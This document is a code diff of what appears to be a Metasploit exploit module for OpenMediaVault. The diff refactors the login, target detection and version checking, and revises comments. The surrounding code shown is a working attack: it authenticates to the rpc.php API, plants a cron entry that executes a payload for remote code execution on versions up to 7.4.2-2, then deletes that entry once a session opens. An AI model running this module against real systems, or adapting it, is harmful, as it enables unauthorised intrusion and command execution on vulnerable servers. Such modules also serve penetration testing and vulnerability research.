@@ -110,7 +110,7 @@ def login(user, pass)
110
110
options : nil
111
111
} . to_json
112
112
} )
113
- unless res . code == 200 && res . body . include? ( '"authenticated":true' )
113
+ unless res & .code == 200 && res . body . include? ( '"authenticated":true' )
114
114
res = send_request_cgi ( {
115
115
'uri' => normalize_uri ( target_uri . path , 'rpc.php' ) ,
116
116
'method' => 'POST' ,
@@ -126,7 +126,7 @@ def login(user, pass)
126
126
} . to_json
127
127
} )
128
128
end
129
- unless res . code == 200 && res . body . include? ( '"authenticated":true' )
129
+ unless res & .code == 200 && res . body . include? ( '"authenticated":true' )
130
130
res = send_request_cgi ( {
131
131
'uri' => normalize_uri ( target_uri . path , 'rpc.php' ) ,
132
132
'method' => 'POST' ,
@@ -148,7 +148,7 @@ def login(user, pass)
148
148
true
149
149
end
150
150
151
- def check_version
151
+ def check_target
152
152
print_status ( 'Trying to detect if target is running a vulnerable version of OpenMediaVault.' )
153
153
res = send_request_cgi ( {
154
154
'uri' => normalize_uri ( target_uri . path , 'rpc.php' ) ,
@@ -163,14 +163,18 @@ def check_version
163
163
} )
164
164
return nil unless rpc_success? ( res )
165
165
166
+ res
167
+ end
168
+
169
+ def check_version ( res )
166
170
# parse json response and get the version
167
171
res_json = res . get_json_document
168
172
unless res_json . blank?
169
173
# OpenMediaVault v0.3 - v0.5 and up to v4 have different json formats where index 1 has the version information
170
174
version = res_json . dig ( 'response' , 1 , 'value' )
171
175
version = res_json . dig ( 'response' , 'version' ) if version . nil?
172
176
version = res_json . dig ( 'response' , 'data' , 1 , 'value' ) if version . nil?
173
- return Rex ::Version . new ( version . split ( '(' ) [ 0 ] . gsub ( /[[:space:]]/ , '' ) ) unless version . nil?
177
+ return Rex ::Version . new ( version . split ( '(' ) [ 0 ] . gsub ( /[[:space:]]/ , '' ) ) unless version . nil? || version . split ( '(' ) [ 0 ] . nil?
174
178
end
175
179
nil
176
180
end
@@ -317,7 +321,7 @@ def execute_command(cmd, _opts = {})
317
321
end
318
322
319
323
# Apply and update cron configuration to trigger payload execution (1 minute)
320
- # versions lower then 0.5.48 do not need this because execution is automatic
324
+ # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply
321
325
apply_config_changes
322
326
print_status ( 'Cron payload execution triggered. Wait at least 1 minute for the session to be established.' )
323
327
end
@@ -341,7 +345,7 @@ def on_new_session(_session)
341
345
} )
342
346
if rpc_success? ( res )
343
347
# Apply changes and update cron configuration to remove the payload entry
344
- # versions lower then 0.5.48 do not need this because execution is automatic
348
+ # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply
345
349
apply_config_changes
346
350
print_good ( 'Cron payload entry successfully removed.' )
347
351
else
@@ -355,19 +359,27 @@ def check
355
359
@logged_in = login ( user , pass )
356
360
return CheckCode ::Unknown ( 'Failed to authenticate at OpenMediaVault.' ) unless @logged_in
357
361
358
- @version_number = check_version
359
- return CheckCode ::Unknown ( 'Could not retrieve the version information.' ) if @version_number . nil?
360
- return CheckCode ::Vulnerable ( "Version #{ @version_number } " ) if @version_number . between? ( Rex ::Version . new ( '0.1' ) , Rex ::Version . new ( '7.4.2-2' ) )
362
+ res = check_target
363
+ return CheckCode ::Unknown ( 'Can not identify target as OpenMediaVault.' ) if res . nil?
364
+
365
+ @version_number = check_version ( res )
366
+ return CheckCode ::Detected ( 'Can not retrieve the version information.' ) if @version_number . nil?
367
+ return CheckCode ::Appears ( "Version #{ @version_number } " ) if @version_number . between? ( Rex ::Version . new ( '0.1' ) , Rex ::Version . new ( '7.4.2-2' ) )
361
368
362
369
CheckCode ::Detected ( "Version #{ @version_number } " )
363
370
end
364
371
365
372
def exploit
366
373
unless @logged_in
367
374
if login ( user , pass )
368
- @version_number = check_version
369
- fail_with ( Failure ::Unknown , 'Could not retrieve the version information.' ) if @version_number . nil?
370
- print_status ( "Version #{ @version_number } detected." )
375
+ res = check_target
376
+ fail_with ( Failure ::Unknown , 'Can not identify target as OpenMediaVault.' ) if res . nil?
377
+ @version_number = check_version ( res )
378
+ if @version_number . nil?
379
+ print_status ( 'Can not retrieve version information. Continue anyway...' )
380
+ else
381
+ print_status ( "Version #{ @version_number } detected." )
382
+ end
371
383
else
372
384
fail_with ( Failure ::NoAccess , 'Failed to authenticate at OpenMediaVault.' )
373
385
end
0 commit comments